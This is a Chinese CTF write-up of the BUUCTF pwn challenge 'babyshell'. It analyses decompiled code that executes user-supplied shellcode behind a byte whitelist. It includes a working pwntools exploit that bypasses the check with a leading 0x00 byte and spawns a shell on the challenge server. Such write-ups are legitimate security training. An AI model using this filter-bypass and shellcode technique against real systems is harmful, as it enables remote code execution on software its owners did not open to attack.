buuctf pwn babyshell wp

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf pwn babyshell wp相关的知识,希望对你有一定的参考价值。

一、考点

  • shellcode
  • 0x00绕过
  • 机器码和汇编互翻

二、题目

这是buuctf中的一道pwn题,题目见下图:
在这里插入图片描述

三、解题过程

1、检查保护机制

checksec无任何保护机制:
在这里插入图片描述

2、运行查看效果

运行该程序,在用户输入时,未出现crash,报“wrong shellcode”,说明输入的一串字符可能为shellcode,并且是错误的shellcode。。
在这里插入图片描述

3、IDA静态分析

拖入IDA进行静态分析,主函数main为:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _BYTE *buf; // [rsp+0h] [rbp-10h]

  sub_4007F8(a1, a2, a3);
  buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
  puts("give me shellcode, plz:");
  read(0, buf, 0x200uLL);
  if ( !(unsigned int)sub_400786(buf) )
  {
    printf("wrong shellcode!");
    exit(0);
  }
  ((void (*)(void))buf)();
  return 0LL;
}

read函数读入用户输入到buf,函数sub_400786对buf进行判断,从条件语句{}中的内容看,if判断必须为假,即sub_400786的返回值必须为真,接着分析sub_400786函数:

__int64 __fastcall sub_400786(_BYTE *a1)
{
  _BYTE *i; // [rsp+18h] [rbp-10h]

  while ( *a1 )
  {
    for ( i = &unk_400978; *i && *i != *a1; ++i )
      ;
    if ( !*i )
      return 0LL;
    ++a1;
  }
  return 1LL;
}

函数中,while(*a1)为假时,可绕过while循环,此时a1指向的首字符必须为0x00,因此,在构造shellcode时,第一个字符必须为0x00,才能绕过while循环,确保sub_400786返回1。

4、编写exp

根据IDA中的分析,payload的第一个字符必须为0x00,同时,需要满足首先执行一条以0x00开头的机器码,该机器码为有效的机器码,且不能影响到通用寄存器以及rip,可用的机器码有:\\x00B\\x22、\\x00B\\x00等等。
如果不知道填什么机器码,可参考汇编指令与机器码互翻的网站
exp为:

from pwn import *

p=remote('node3.buuoj.cn',26200)
context.arch = "amd64"
p.recvuntil('plz:')
payload=b'\\x00B\\x00'+asm(shellcraft.sh())


p.sendline(payload)

p.interactive()

运行该脚本后,得到flag:
在这里插入图片描述

以上是关于buuctf pwn babyshell wp的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF pwn warmup_csaw2016 wp

Buuctf pwn1 详细wp

buuctf pwn ciscn_2019_n_1 wp

BUUCTF-PWN-Writeup-1-5

BUUCTF-PWN-Writeup-1-5

BUUCTF-PWN-Writeup-1-5